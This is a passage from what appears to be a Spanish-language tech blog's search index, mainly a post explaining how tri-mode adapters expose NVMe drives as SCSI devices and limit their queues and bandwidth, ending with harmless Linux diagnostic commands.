DS, luego fuerza a los clientes. Falla cerrado, que es el sentido correcto y aun así una caída.\nNada de esto es exótico. Es delegación, transferencia y firma — las tres cosas que DNS siempre ha hecho — dispuestas de modo que la máquina que guarda tu directorio no sea la máquina que atiende preguntas del aparcamiento, y de modo que cuando algo sí le mienta a un cliente, el cliente lo note.\n","permalink":"https://blogs.damiendye.uk/es/dns/samba4-securing-ad-records-with-dnssec/","summary":"Cada máquina unida al dominio encuentra su controlador de dominio pidiendo a DNS un registro SRV, así que los localizadores _msdcs son los registros más críticos para la seguridad que posees. Así se publican y firman como es debido desde un DC Samba4: BIND con dlz_bind9 leyendo el directorio, firma inline, un primario oculto al que los clientes nunca llegan, y las actualizaciones dinámicas de clientes mantenidas fuera de la zona que contiene los localizadores. Luego, cómo forzar a los clientes Windows y Linux a comprobar de verdad las firmas, porque una zona firmada que nadie valida se comporta exactamente igual que una sin firmar.","title":"Samba4 y la protección de registros de AD con DNSSEC"},{"content":"La bahía que acepta cualquier cosa El argumento de venta de un adaptador tri-mode es de verdad bueno, y merece exponerse bien antes de desmontarlo.\nCompra un chasis con un backplane U.3 y una controladora tri-mode, y cada bahía de disco se vuelve universal. La ranura 0 puede llevar un disco SAS de 24G, la ranura 1 un dispositivo de arranque SATA barato, la ranura 2 un SSD NVMe Gen4, y el adaptador negocia con lo que aparezca. Broadcom llama al silicio Tri-Mode SerDes; el estándar de bahía es SFF-TA-1001, conocido como U.3, que define un conector común para SAS x1/x2, SATA, y NVMe a x1, x2 o x4. El lado de gestión es SFF-TA-1005, Universal Backplane Management, que es como el chasis averigua con qué está hablando realmente y activa los LED de actividad correctos.\nPara cualquiera que especifique servidores, eso resuelve un problema real y molesto. Ya no tienes que decidir el protocolo de almacenamiento en el momento del pedido, ni mantener dos SKU de chasis, ni descubrir que las bahías con capacidad NVMe son las cuatro de la izquierda y tus discos fueron a las otras veinte. Un solo número de pieza cubre el parque, y un parque SAS puede pasar a NVMe de disco en disco en vez de de chasis en chasis.\nNada de eso es marketing. Es la razón de que estos adaptadores se vendan, y sería tonto pretender lo contrario.\nPero la flexibilidad no es gratis, y la factura no se paga en euros. Se paga en colas.\nQué le pasa de verdad al disco Un SSD NVMe es un punto terminal PCIe. En un servidor de conexión directa, sus cuatro líneas van al complejo raíz de la CPU — a través de un retimer o un conmutador PCIe, pero eléctrica y lógicamente es un dispositivo en el bus PCIe. El kernel lo enumera, enlaza el controlador nvme, y desde ese punto el controlador habla con los registros del disco directamente.\nPon el mismo disco detrás de un adaptador tri-mode y eso deja de ser cierto.\nLas líneas del disco ahora terminan en la controladora. La documentación de Broadcom llama al bloque relevante el PCIe device bridge, y la palabra puente hace mucho trabajo: esto no es un conmutador transparente que reenvía las transacciones de tu CPU a un disco que aún puede ver. El adaptador es el punto terminal PCIe que tu host enumera. El disco es un objetivo colgado del lado lejano de él, y el firmware de la controladora vuelve a originar cada E/S.\nNVMe en conexión directa frente a los mismos discos detrás de un adaptador tri-mode Conexión directa Detrás de un adaptador tri-mode complejo raíz de la CPU complejo raíz de la CPU x4 x4 x4 x4 cuatro enlaces independientes unos 7 GB/s cada uno, en paralelo x8 Gen4 todo lo de abajo comparte esto Controladora tri-mode el único punto terminal PCIe que el host enumera NVMe NVMe NVMe NVMe nvme0n1 nvme1n1 nvme2n1 nvme3n1 NVMe NVMe NVMe NVMe sda sdb sdc sdd controlador nvme un par de colas por núcleo de CPU, por disco el ancho de banda crece al añadir discos controlador mpt3sas \u0026#8212; los discos son objetivos SCSI profundidad 128 cada uno, una reserva de tags para todos el ancho de banda para en el adaptador Los mismos cuatro discos, cableados de dos formas. A la izquierda cada disco posee cuatro líneas hacia el complejo raíz. A la derecha las líneas paran en el adaptador, y todo aguas abajo comparte un enlace ascendente x8 y una controladora. Así que el adaptador no está pasando tus comandos NVMe a través. Los está terminando, y hablando con el disco en tu nombre.\nLo que plantea la pregunta de qué protocolo te habla a ti.\nEl SO nunca ve un disco NVMe Habla SCSI.\nEnchufa un SSD NVMe en un HBA tri-mode de Broadcom y no aparece como /dev/nvme0n1. Aparece como /dev/sdb, enlazado a mpt3sas — el mismo controlador que lleva más de una década corriendo controladoras LSI SAS. nvme list no devuelve nada. lsblk -o NAME,TRAN informa del transporte como sas. Para cada capa de la pila de almacenamiento por encima del controlador, compraste un disco SAS.\nEsto no es un fallo ni una limitación de firmware esperando arreglo. Es el diseño. Presentar todo como un objetivo SCSI es exactamente cómo un adaptador sirve tres protocolos: la controladora normaliza SAS, SATA y NVMe en un único modelo de dispositivo, y el host obtiene un controlador, un camino de enumeración, un juego de herramientas. La flexibilidad del marketing y la presentación SCSI en dmesg son la misma decisión arquitectónica mirada desde uno u otro extremo.\nLas generaciones 9500 y 9600 sí añaden un mecanismo de passthrough para que las herramientas del fabricante alcancen los comandos de administración NVMe de un disco, y las piezas más nuevas de Broadcom son mucho mejores mostrando la salud del disco de lo que era la 9400. Pero eso es un canal lateral de gestión. El camino de datos — cada lectura y escritura que emite tu carga — sigue bajando por la pila SCSI.\nY la pila SCSI tiene un modelo de colas que precede al flash en veinte años.\nEl modelo de colas que acabas de ceder Esta es la parte que de verdad te cuesta rendimiento, y merece precisión, porque «el NVMe es más rápido que el SAS» no es la razón.\nLa decisión central de diseño de NVMe no fue un cable más rápido. Fue dejar de fingir que un dispositivo de almacenamiento es una única cosa serializada.\nLa especificación permite hasta 65 535 pares de colas de E/S, y esa cifra se cita en toda divulgación NVMe que existe. Es el número equivocado al que aferrarse. Ningún disco implementa nada que se le acerque, así que cualquiera que haya mirado de verdad un sistema en marcha puede descartar la comparación — y tendría razón. El número real es más pequeño, sin gloria, y transmite mejor la idea.\nAsí que aquí hay un disco real. No una pieza de empresa: un SSD OEM SK Hynix de 256 GB, del tipo soldado en un portátil de gama media, en una máquina de 16 núcleos.\n$ nproc 16 $ cat /sys/class/nvme/nvme0/queue_count 17 $ ls /sys/block/nvme0n1/mq | wc -l 16 $ cat /sys/block/nvme0n1/queue/nr_requests 1023 Diecisiete colas: una cola de administración, y dieciséis colas de E/S para dieciséis núcleos. Cada una de 1023 comandos de profundidad. El mapeo es uno a uno — cada cola hardware está enlazada a exactamente una CPU:\n$ cd /sys/block/nvme0n1/mq \u0026amp;\u0026amp; grep -H . */cpu_list 0/cpu_list:1 1/cpu_list:9 2/cpu_list:3 3/cpu_list:11 ... Una CPU por cola, hasta el fondo — la cola hardware 0 sirve al núcleo 1 y a nada más.\nEso es lo que «el NVMe tiene muchas colas» significa de verdad en la práctica. No 65 535 — una por núcleo, tengas los núcleos que tengas. Linux crea un par de colas por CPU hasta lo que conceda la controladora, y las controladoras conceden mucho más de lo que un servidor típico tiene núcleos, así que en la práctica el número de núcleos es el número. Pon este disco en una caja de 64 núcleos y obtienes 64.\nEse reparto por núcleo es de donde viene el rendimiento:\nUn núcleo envía a su propia cola. Sin cerrojo, porque ningún otro núcleo la toca. Cada cola tiene su propio vector MSI-X, afinado a ese núcleo. La interrupción de finalización aterriza de vuelta en el núcleo que emitió la E/S, donde las líneas de caché relevantes ya están. Los dieciséis núcleos pueden estar en vuelo a la vez sin contender jamás por una estructura compartida. El paralelismo escala con tu número de núcleos, y el trabajo de ningún núcleo se encola nunca detrás del de otro. Un disco de consumo barato hace esto. Es lo mínimo.\nAhora mira lo que el disco obtiene detrás del adaptador. Los números de abajo no son estimaciones — son constantes en el controlador mpt3sas de la rama principal.\nLa profundidad de cola por dispositivo se fija desde ioc-\u0026gt;max_nvme_qd, que el controlador toma de lo que informa el firmware de la controladora y por lo demás recurre a un valor por defecto de compilación en drivers/scsi/mpt3sas/mpt3sas_base.h:\n#define MPT3SAS_SATA_QUEUE_DEPTH\t32 #define MPT3SAS_SAS_QUEUE_DEPTH\t254 #define MPT3SAS_RAID_QUEUE_DEPTH\t128 #define MPT3SAS_NVME_QUEUE_DEPTH\t128 128. A un dispositivo capaz de decenas de miles de comandos en curso se le da una profundidad de cola de 128 — y fíjate en que es más superficial que el valor SAS por defecto de 254 puesto dos líneas por encima. Las capacidades propias del disco nunca entran en la decisión. El número viene de la controladora.\nEl número de colas hardware es peor, y el controlador es franco al respecto. De mpt3sas_scsih.c:\nshost-\u0026gt;nr_hw_queues = 1; if (shost-\u0026gt;host_tagset) { shost-\u0026gt;nr_hw_queues = ioc-\u0026gt;reply_queue_count - ioc-\u0026gt;high_iops_queues; ... dev_info(\u0026amp;ioc-\u0026gt;pdev-\u0026gt;dev, \u0026#34;Max SCSIIO MPT commands: %d shared with nr_hw_queues = %d\\n\u0026#34;, shost-\u0026gt;can_queue, shost-\u0026gt;nr_hw_queues); } Lee eso con cuidado, porque están pasando tres cosas separadas.\nEl valor por defecto es una cola hardware. nr_hw_queues = 1. El multicola solo ocurre en controladoras gen35 con la función host_tagset habilitada, e incluso entonces es lo que el propio historial de commits del controlador describe como colas hardware múltiples simuladas — el hardware de la controladora de E/S es una única cola de envío con múltiples colas de respuesta, y blk-mq se está encajando encima de eso.\nEl número de colas viene de la controladora, no del número de núcleos. Es reply_queue_count menos las colas de alta IOPS — la asignación de vectores MSI-X del adaptador. No tiene nada que ver con cuántas CPU tienes, y no crece cuando añades discos. Esta es la inversión exacta del disco de arriba, donde el número de colas era el número de núcleos.\nY la reserva de tags es compartida. host_tagset significa exactamente lo que dice: una reserva de tags para todo el adaptador del host, y esa línea de registro dice «shared» en voz alta. Cada disco de la tarjeta saca del mismo conjunto de ranuras de comando. Un chasis de veinticuatro bahías tiene veinticuatro discos compitiendo por los tags de una controladora.\nPon los dos lado a lado. Aquel SSD de portátil tenía dieciséis colas privadas de 1023, una por núcleo, respondiendo solo a sí mismo. El mismo disco detrás del adaptador obtiene una parte de las colas de respuesta de la tarjeta, 128 comandos en curso, y veintitrés vecinos sacando de la misma reserva.\nPares de colas NVMe por núcleo frente a una reserva de tags compartida del adaptador Las colas se multiplican con los núcleos Los discos se reparten una reserva núcleo 0 núcleo 1 núcleo 2 núcleo 3 SQ + CQ SQ + CQ SQ + CQ SQ + CQ prof. 1023 prof. 1023 prof. 1023 prof. 1023 SSD NVMe /dev/nvme0n1 un par envío/finalización por núcleo vector MSI-X propio, las finalizaciones caen en ese núcleo sin cerrojo, sin contención entre núcleos núcleo 0 núcleo 1 núcleo 2 núcleo 3 Controladora tri-mode las colas de respuesta vienen de los vectores MSI-X de la tarjeta, no de tu número de núcleos una reserva de tags compartida por todos los discos sda sdb sdc sdd qd 128 qd 128 qd 128 qd 128 y 20 bahías más sacando de la misma reserva. 128 en curso por dispositivo, haga lo que haga el disco añadir discos divide un recurso fijo Izquierda: un par de colas por núcleo, privado y de 1023 de profundidad, con la interrupción de finalización aterrizando de vuelta en el núcleo que envía — medido en el disco de arriba. Derecha: cada núcleo embudado hacia las colas de respuesta de la controladora, sacando de una reserva de tags compartida, con cada disco topado en 128. Así que la pérdida no es que SCSI sea lento. El SCSI moderno sobre blk-mq va bien. La pérdida es estructural:\nLas colas pertenecen al adaptador, no al disco. Añadir discos divide un recurso fijo en vez de sumar a él. La reserva de tags es compartida a escala de host. Un disco bajo carga pesada puede matar de hambre a los otros de un modo que sencillamente no puede pasar cuando cada disco tiene sus propias colas. La profundidad por dispositivo está topada en 128, sin importar lo que el disco pueda sostener. La localidad de interrupción se debilita. Las finalizaciones llegan por la cola de respuesta que usara la controladora, no necesariamente por el núcleo que envió. Para una profundidad de cola de 1 o 2 — un proceso de un solo hilo haciendo lecturas ocasionales — nada de esto se registra. Medirás la misma latencia de cualquier forma, dentro del ruido. La penalización aparece exactamente donde compraste NVMe para ayudar: muchos núcleos emitiendo muchas E/S concurrentes. Cuanto más profunda la carga, más del disco has pagado y no puedes alcanzar.\nEl enlace ascendente es una sola ranura x8 El modelo de colas es el problema sutil. El techo de ancho de banda es el obvio, y puedes leerlo de las propias fichas de producto de Broadcom sin necesitar un benchmark.\nEl HBA de la serie 9500 es una tarjeta x8 PCIe Gen 4.0. Las cifras publicadas por Broadcom para ella son 13 700 MB/s en lectura secuencial 256K y 3 M IOPS en lectura aleatoria 4K. La misma ficha dice que admite hasta 32 dispositivos NVMe.\nPon esos dos números uno al lado del otro y la pregunta se responde sola: ¿cuántos discos hacen falta para quedarte sin adaptador?\nNo muchos, y menos cada año. Un SSD Gen4 x4 hace unos 7 GB/s. Un SSD Gen5 x4 hace unos 14. Ambos son piezas corrientes en 2026 — el Gen4 es de lo que está lleno el mercado U.2 de segunda mano, y el Gen5 es lo que obtienes comprando nuevo.\nTecho Discos Gen4 para alcanzarlo Discos Gen5 para alcanzarlo HBA 9500 — 13 700 MB/s secuencial 2 1 HBA 9500 — 3 M IOPS (4K RR) 3 1–2 eHBA 9600 — 6,4 M IOPS (4K RR) ~6 ~3 MegaRAID 9600 — 1,1 M IOPS RAID 5 (4K RW) ~1 ~1 Relee la fila de arriba. Un solo SSD Gen5 alcanza todo el techo secuencial de un HBA 9500. Un disco, en una tarjeta valorada para treinta y dos. Todo lo que viene después es capacidad. No rendimiento.\nY la fila de abajo es la que debería parar un pedido: en el MegaRAID de la generación actual, un estante lleno de NVMe en RAID 5 entrega más o menos lo que un disco corriente hace por su cuenta.\nLos discos ni siquiera enlazan a x4 Hay un segundo estrangulamiento debajo del enlace ascendente compartido, fácil de pasar por alto porque se sienta en una tabla de especificaciones en vez de en un titular.\nLa Guía del usuario de la PERC 12 de Dell, que cubre las controladoras tri-mode H965i, dice:\nSupports drive speeds for NVMe drives are 8 GT/s (Gen 3) and 16 GT/s (Gen 4) at maximum x2 lane width.\nCada disco NVMe obtiene dos líneas, no cuatro. Así que antes de cualquier contención por el enlace ascendente, antes de la reserva de tags, antes de la traducción SCSI, un disco Gen4 ya está bajado a unos 3,5 GB/s — la mitad de lo que sabe hacer. Pon un disco Gen5 en esa bahía y negocia a la baja hacia Gen4 x2 y entrega más o menos un cuarto de su ancho de banda nominal.\nMerece precisión decir qué cambia esto y qué no. No significa que el adaptador llegue más lejos. Hacen falta unos cuatro discos limitados a x2 para llenar el enlace ascendente de la 9500 en vez de dos, pero solo porque cada disco aporta la mitad. El cuello de botella se ha movido del enlace ascendente al enlace del disco. El total que puedes extraer no ha mejorado.\nEn conexión directa, esos mismos treinta y dos discos tendrían cada uno su propio camino x4 hacia el complejo raíz, a la generación que el disco y la CPU sepan negociar.\nLa fila de RAID 5 de esa tabla merece su propia mirada, porque es el número propio de Broadcom y se publica sin adornos. De la ficha de la serie 9600:\n900K to 1.1M RAID 5 IOPS (4K RW)\nEl RAID de paridad en el firmware de la controladora es lo más caro que puedes pedirle a una tarjeta tri-mode, y esta es la generación actual haciéndolo. Vale la pena leerlo antes de que alguien especifique RAID 5 sobre veinticuatro discos NVMe y espere el rendimiento de veinticuatro discos.\nNúmero de discos frente a dos techos tri-mode, una tarjeta x8 Gen4 y una x16 Gen5 0 15 30 45 60 75 90 GB/s agregados 1 2 3 4 5 6 discos NVMe Gen5 directo \u0026#8212; unos 14 GB/s cada uno Gen4 directo \u0026#8212; unos 7 GB/s cada uno fuera del alcance de ambas tarjetas PERC13, Gen5 x16 \u0026#8212; 52,5 GB/s medidos HBA 9500, Gen4 x8 \u0026#8212; 13,7 GB/s 2 discos Gen4 alcanzan la 9500 \u0026#8212; 4 discos Gen5 alcanzan incluso una PERC13 Cifras de fabricante y de tests, no medidas aquí. La 9500 está valorada para 32 dispositivos NVMe, la PERC13 para 16. Ambas tarjetas además enlazan cada disco a x2, cosa que estas líneas de conexión directa no hacen. Cuántos discos hacen falta para quedarte sin adaptador, frente a dos techos. Dos discos Gen4 alcanzan el HBA 9500; cuatro discos Gen5 alcanzan incluso una PERC13. Las tarjetas están valoradas para treinta y dos y dieciséis dispositivos respectivamente. ¿Y una tarjeta x16? La objeción obvia a todo lo anterior es que la 9500 es una tarjeta x8 Gen4, y el techo es un artefacto de un enlace de host estrecho. Dale al adaptador dieciséis líneas de Gen5 y el problema desaparece.\nEs una objeción justa, y merece el ejemplo más fuerte en vez de un hombre de paja. Así que toma la PERC13 H975i de Dell — la generación actual, y más o menos lo mejor que da el tri-mode. Su guía del usuario especifica «Gen 4 and Gen 5 PCIe x16 host interfaces», y StorageReview midió 52,5 GB/s y 12,5 M IOPS por controladora, frente a hasta dieciséis discos NVMe.\nEsos son números serios, y cambian el cuadro sustancialmente. Frente a los 13 700 MB/s y 3 M IOPS de la 9500, eso es más o menos cuatro veces el ancho de banda y cuatro veces las IOPS, repartidas sobre la mitad de discos. Dell no solo ensanchó la tubería — también partió el abanico por la mitad, y la ratio de sobresuscripción mejoró como resultado. En IOPS en particular, 12,5 M sobre dieciséis discos son unos 780K por disco, que está cerca de lo que un disco corriente entrega por su cuenta. En ese punto la controladora de verdad no es lo que te frena.\nMérito donde toca, entonces: una tarjeta tri-mode x16 Gen5 moderna es una pieza de ingeniería mucho mejor que una x8 Gen4, y si el ancho de banda era tu única objeción, x16 en gran parte la responde.\nTres cosas que no arregla.\nLos discos siguen enlazando a x2. Esta es la que me sorprendió. La guía de la PERC13, describiendo una controladora Gen5 x16, aún dice:\nSupports drive speeds for NVMe drives are 8 GT/s (Gen 3), 16 GT/s (Gen 4), and 32 GT/s (Gen 5) at maximum x2 lane width.\nUn enlace de host más ancho no ensancha los enlaces de disco aguas abajo. Cada disco NVMe en la controladora RAID tri-mode más nueva y rápida que vende Dell sigue conectado por dos líneas en vez de cuatro, y sigue cediendo la mitad de su ancho de banda antes de que pase cualquier otra cosa.\nEl modelo de colas queda del todo intacto. Nada en la sección de colas de este post es función del ancho del enlace de host. nr_hw_queues viene de la asignación de colas de respuesta MSI-X de la controladora; la profundidad por dispositivo de 128 es una constante de controlador y firmware; la reserva de tags es compartida a escala de host porque host_tagset lo dice. Ensancha el enlace de host a x16, x32, lo que quieras — los discos siguen siendo objetivos SCSI compartiendo las colas de la tarjeta, sigue sin haber /dev/nvme0n1, y sigues sin poder pasar un disco a una VM.\nY x16 no fabrica ancho de banda — abanica líneas que ya tenías. Este es el argumento que de verdad lo zanja. Dieciséis líneas Gen5 en una PERC13 te compran 52,5 GB/s compartidos sobre dieciséis bahías. Esas mismas dieciséis líneas cableadas directamente a cuatro discos Gen5 a x4 te compran unos 56 GB/s sobre cuatro bahías — el mismo ancho de banda desde las mismas líneas, salvo que cada disco obtiene sus cuatro líneas enteras, su propio par de colas por núcleo, y un nodo de dispositivo nvme real.\nAsí que la forma honesta de describir una tarjeta tri-mode x16 no es «un adaptador más rápido». Es un multiplexor de líneas: convierte un presupuesto de líneas fijo en más bahías de disco, y te cobra el modelo de colas por la conversión. Si ese trato es bueno depende de una sola cosa. Bahías o paralelismo.\nQué pasa cuando llenas todas las bahías Lo que nos lleva al caso que de verdad importa, porque nadie compra un chasis de 24 bahías para meterle cuatro discos.\nPasado el punto de saturación, la línea agregada es plana. Añadir discos añade capacidad, y nada más — así que el rendimiento por disco cae como 1/N. Esa aritmética es implacable en poblaciones realistas:\nDiscos en un HBA 9500 Agregado Por disco Fracción de un disco Gen4 2 13,7 GB/s 6,9 GB/s 98 % 12 13,7 GB/s 1,14 GB/s 16 % 24 13,7 GB/s 0,57 GB/s 8 % Mira la fila de abajo. Veinticuatro discos NVMe detrás de un HBA 9500 entregan unos 570 MB/s cada uno. Un SSD SATA hace alrededor de 550. Has comprado veinticuatro discos NVMe, pagado una controladora tri-mode para conectarlos, y llegado a un ancho de banda por disco de clase SATA.\nLa aritmética de IOPS tiene la misma forma: 3 M repartidos sobre veinticuatro discos son 125K cada uno, frente al 1 M que un disco Gen4 corriente logra solo — más o menos un octavo de lo que posees.\nLa tarjeta x16 mejora esto considerablemente pero no escapa de ello. Una PERC13 a sus dieciséis discos completos son 52,5 GB/s ÷ 16 = 3,3 GB/s por disco, o más o menos el 23 % de un disco Gen5 — y eso es antes de que el enlace x2 lo vuelva a partir a la mitad.\nDos efectos con muchos discos son peores de lo que sugiere la división:\nLa inanición de tags es entre dispositivos. La reserva de tags compartida del host significa que un solo disco bajo carga pesada puede consumir ranuras que otros discos necesitan. Veinticuatro dispositivos permitidos nominalmente 128 comandos en curso cada uno quieren 3 072 entre todos, sacados del can_queue de una controladora. El bloqueo de cabeza de línea entre discos separados es un modo de fallo que sencillamente no existe cuando cada disco posee sus colas. Las reconstrucciones golpean todo. Una reconstrucción de paridad a lo largo de un estante poblado satura el único enlace ascendente compartido, así que la E/S en primer plano hacia todos los demás discos de la tarjeta se degrada a la vez. Con discos en líneas independientes y RAID por software, la reconstrucción compite por CPU, no por una única tubería. Cuándo nada de esto importa Hay un contrapeso importante, y es la razón de que un montón de servidores tri-mode de 24 bahías corran perfectamente felices.\nEl techo del adaptador solo muerde si algo aguas abajo puede consumir más de lo que entrega. Un servidor con 2 × 25GbE tiene 6,2 GB/s de red — no puede llenar ni un HBA 9500. Si esos veinticuatro discos son un nivel de capacidad sirviendo archivos por ese enlace, el adaptador no está ni cerca del cuello de botella y la aritmética por disco de arriba es irrelevante.\nEl momento en que empieza a importar es cuando el consumidor se vuelve más rápido que la tarjeta: 100GbE (12,5 GB/s) te pone al nivel de todo el techo secuencial de una 9500 por sí solo, y las cargas locales — bases de datos, compilación, analítica, hosts de virtualización con invitados atareados — no tienen red alguna en el camino.\nAsí que la pregunta que hacerse sobre un estante poblado no es «¿es lento el adaptador?» sino «¿qué va a consumir esto, y puede consumir más de lo que la tarjeta entrega?» Si la respuesta es un enlace de 25GbE, deja de preocuparte. Si la respuesta es 100GbE, NVMe-oF, o una base de datos local, la tarjeta es tu cuello de botella y el número de discos lo empeora.\nQué más se pierde Más allá del rendimiento, presentar un disco NVMe como un disco SCSI significa que las partes específicas de NVMe de tu kit de herramientas dejan de funcionar:\nConexión directa Detrás de un adaptador tri-mode Nodo de dispositivo /dev/nvme0n1 /dev/sdb Controlador nvme mpt3sas / mpi3mr nvme-cli Funciona Nada con lo que hablar Datos de salud Páginas de registro SMART NVMe Páginas de registro SCSI traducidas Gestión de namespaces Sí No Actualizaciones de firmware nvme fw-download Herramienta del fabricante vía la controladora Format / sanitize NVMe Format NVM Equivalentes SCSI, si están implementados Colas hardware Un par por núcleo (16 en la máquina de arriba) Las colas de respuesta de la tarjeta, compartidas por cada disco Profundidad de cola 1023 por cola 128 por dispositivo Una consecuencia pilla a la gente lo bastante a menudo como para señalarla aparte: no puedes pasar un disco individual a una máquina virtual. El passthrough PCIe necesita que el disco sea un punto terminal PCIe con su propio grupo IOMMU, y detrás de un adaptador tri-mode no lo es — el único dispositivo PCIe presente es la controladora. Puedes pasar el adaptador entero, con todos los discos conectados a él, o nada. Si tu plan implicaba entregar discos NVMe concretos a invitados concretos, la decisión del backplane ya lo ha decidido por ti.\nEntonces, ¿quién quiere esto de verdad en 2026? Aquí es donde el argumento de venta del principio de este post tiene que enfrentarse a una pregunta más dura, porque el mundo para el que se diseñó ha desaparecido casi del todo.\nEl tri-mode se concibió cuando NVMe era el nivel caro que añadías a un parque SAS. En 2026 es al revés: NVMe es el valor por defecto, los discos U.2 de empresa son abundantes y baratos en el mercado de segunda mano, y «SAS, SATA y NVMe mezclados en un chasis» describe cada vez menos despliegues reales. Entonces, ¿quién lo compra de verdad?\nCasi nadie — a propósito. La respuesta honesta es que la mayoría de las controladoras tri-mode no se eligieron. Llegaron, porque el fabricante del servidor envía una, y el fabricante envía una porque una única SKU de backplane U.3 le permite a él vender configuraciones SAS, SATA y NVMe desde el mismo chasis. Eso es una victoria de cadena de suministro para el fabricante. No hace nada por tu rendimiento, y como tal nunca se vendió como que lo hiciera.\nTres de las justificaciones clásicas ya no aguantan bien:\n«Necesito tipos de discos mezclados.» Rara vez en el mismo chasis, e incluso cuando lo haces, el tri-mode no es la única vía. Un HBA SAS sencillo para los discos mecánicos más NVMe cableado al complejo raíz te da ambos, sin penalizar a ninguno. Un parque mezclado no implica una controladora mezclada.\n«No tengo suficientes líneas PCIe.» Este era el argumento de verdad en 2019, en plataformas de 40 líneas con 24 bahías. Un Epyc Genoa o Turin de un solo zócalo tiene 128 líneas. Veinticuatro discos a x4 son 96. La escasez que justificaba agregar discos detrás de una controladora ha desaparecido casi del todo, y donde no lo ha hecho, un conmutador PCIe hace el trabajo sin terminar el protocolo.\n«Las bahías tienen que ser universales.» Esta merece separarse con cuidado, porque es el argumento más usado para justificar el componente equivocado. U.3 es un estándar de backplane, no un requisito de controladora. Un backplane U.3 puede cablearse derecho a las líneas PCIe de la CPU en vez de a través de una controladora tri-mode, y los fabricantes documentan ambas topologías. Puedes conservar las bahías universales y borrar el impuesto. Si has heredado un servidor tri-mode, lo más valioso que puedes comprobar es si el backplane se puede recablear directo.\nLo que queda de verdad:\nRAID hardware a densidad, donde la política o la plataforma lo exijan — un requisito de auditoría, una matriz de soporte, un despliegue de Windows o ESXi sin capa de software que haga el trabajo. Este es el mercado real que queda, es el único caso donde estás comprando el motor RAID en vez de la conectividad, y en el silicio actual es un producto capaz: dieciséis discos NVMe en RAID 5 hardware con una caché protegida por supercondensador, desde dieciséis líneas, es algo que la conexión directa no puede ofrecer en absoluto. Capacidad masiva de HDD SAS, donde el €/TB todavía pertenece decisivamente a los discos mecánicos. Pero eso es trabajo de un HBA SAS sencillo, y más barato. Recuentos de bahías muy grandes y chasis externos, donde los expansores SAS llegan más lejos y más ancho de lo que PCIe llegará. Cargas que nunca van profundas. Si tus profundidades de cola se quedan en dígitos individuales, nada de esto se registra. Muchos sistemas reales viven aquí bastante felices. Hay además un argumento operativo llano — un tipo de chasis, un controlador, un repuesto en el estante — y para un host de virtualización de propósito general eso vale algo real. Solo valóralo honestamente frente al hecho de que, según la tabla de arriba, un disco Gen5 puede alcanzar todo el techo secuencial de la tarjeta.\nCuándo es la herramienta equivocada El trato se vuelve malo en proporción a cuánta concurrencia tenga tu carga.\nCeph es el caso más claro. Un nodo de almacenamiento corre un OSD por disco, cada uno con sus propios pools de hilos, todos emitiendo E/S a la vez — y luego un clúster entero de clientes los conduce concurrentemente. Ese es el peor caso de la reserva de tags compartida: veinticuatro demonios contendiendo por las ranuras de comando de una controladora, cada disco topado en 128 en curso, todo embudado por un enlace ascendente x8. Pon esos discos derecho en el complejo raíz y cada OSD obtiene sus propias colas, sus propios tags y sus propias líneas. Un nodo Ceph todo-NVMe no debería tener un adaptador tri-mode en el camino de datos.\nLa misma lógica aplica a los objetivos NVMe-oF, donde estás reexportando discos y cada capa de serialización se compone; a las bases de datos con E/S asíncrona profunda; y a cualquier cosa construida sobre io_uring o SPDK, que existen específicamente para explotar las colas por núcleo que el adaptador acaba de quitar.\nLa regla general: cuanto más paralelismo se escribió tu software para explotar, más te cobra un adaptador tri-mode por él.\nCómo saber qué tienes Si has heredado un servidor y quieres saber de qué lado de esto estás:\n# What is the transport? \u0026#34;nvme\u0026#34; is direct, \u0026#34;sas\u0026#34; means it went through a controller lsblk -o NAME,TRAN,MODEL,SIZE # Is there a tri-mode controller in the machine at all? lspci -nn | grep -Ei \u0026#39;sas|megaraid|serial attached\u0026#39; # Which driver claimed the disk? ls -l /sys/block/sdb/device/driver # Per-device queue depth — 128 is the mpt3sas NVMe default cat /sys/block/sdb/device/queue_depth # How many hardware queues does this device actually get? ls /sys/block/sdb/mq/ | wc -l ls /sys/block/nvme0n1/mq/ | wc -l # compare against a direct-attached drive # On a direct-attached drive, what did the controller actually grant? # One admin queue plus one I/O queue per core, so expect nproc + 1 cat /sys/class/nvme/nvme0/queue_count nproc # The driver says it out loud at load time dmesg | grep -i \u0026#39;nr_hw_queues\u0026#39; Esa última imprime la línea Max SCSIIO MPT commands: N shared with nr_hw_queues = M citada antes. Si nvme list está vacío en una máquina que te dijeron que es todo-flash NVMe, el adaptador es por qué.\nLa versión corta Un adaptador tri-mode convierte tus discos NVMe en discos SCSI. Esa conversión no es un efecto secundario. Es cómo una tarjeta sirve tres protocolos, y es lo que estás comprando.\nLo que cedes es específico y medible: pares de colas por núcleo reemplazados por las colas de respuesta compartidas de una controladora, una profundidad por dispositivo de 128, una reserva de tags dividida entre cada disco de la tarjeta, un enlace x2 donde el disco quería x4, y un enlace ascendente compartido donde cada disco antes tenía su propio camino al complejo raíz. El adaptador deja de ser una conexión y se convierte en el cuello de botella, y en el hardware actual se convierte en uno rápido: dos discos Gen4 alcanzan un HBA 9500, cuatro discos Gen5 alcanzan incluso una PERC13.\nUn enlace de host más ancho sí ayuda — una tarjeta x16 Gen5 tiene más o menos cuatro veces el ancho de banda y las IOPS de una x8 Gen4 — pero no cambia la forma. Compra bahías, no paralelismo: las mismas dieciséis líneas cableadas derecho a cuatro discos entregan el mismo ancho de banda sin nada del impuesto de colas. Y no rescata un estante lleno. Veinticuatro discos detrás de una 9500 obtienen unos 570 MB/s cada uno, que es lo que hace un SSD SATA.\nEn 2019, cuando NVMe era el nivel que añadías a un parque SAS y las plataformas andaban cortas de líneas, era un trato razonable. En 2026 normalmente no lo es. NVMe es el valor por defecto, los discos U.2 usados son baratos, un Epyc de un solo zócalo tiene líneas de sobra, y el único beneficio que aún se sostiene — bahías de disco universales — pertenece al backplane U.3, no a la controladora. Muy a menudo puedes conservar las bahías y borrar el impuesto cableando el backplane derecho a la CPU.\nAsí que compra un adaptador tri-mode si estás comprando su motor RAID y necesitas uno. No lo compres por la flexibilidad, y si has heredado uno en un chasis lleno de NVMe, ve y averigua cómo está cableado ese backplane.\nNo tiene sentido pagar dos veces por discos que luego no puedes usar como es debido.\n","permalink":"https://blogs.damiendye.uk/es/hardware/tri-mode-adapters-nvme-as-sas/","summary":"Un adaptador tri-mode deja que cualquier bahía acepte SAS, SATA o NVMe — flexibilidad real, y la razón de que existan los backplanes U.3. Lo que no anuncia es que tus discos NVMe dejan de ser discos NVMe: llegan a Linux como discos SCSI sobre mpt3sas, profundidad de cola 128, compartiendo una reserva de tags y un enlace ascendente x8. Dos discos Gen4 saturan la tarjeta. Un solo disco 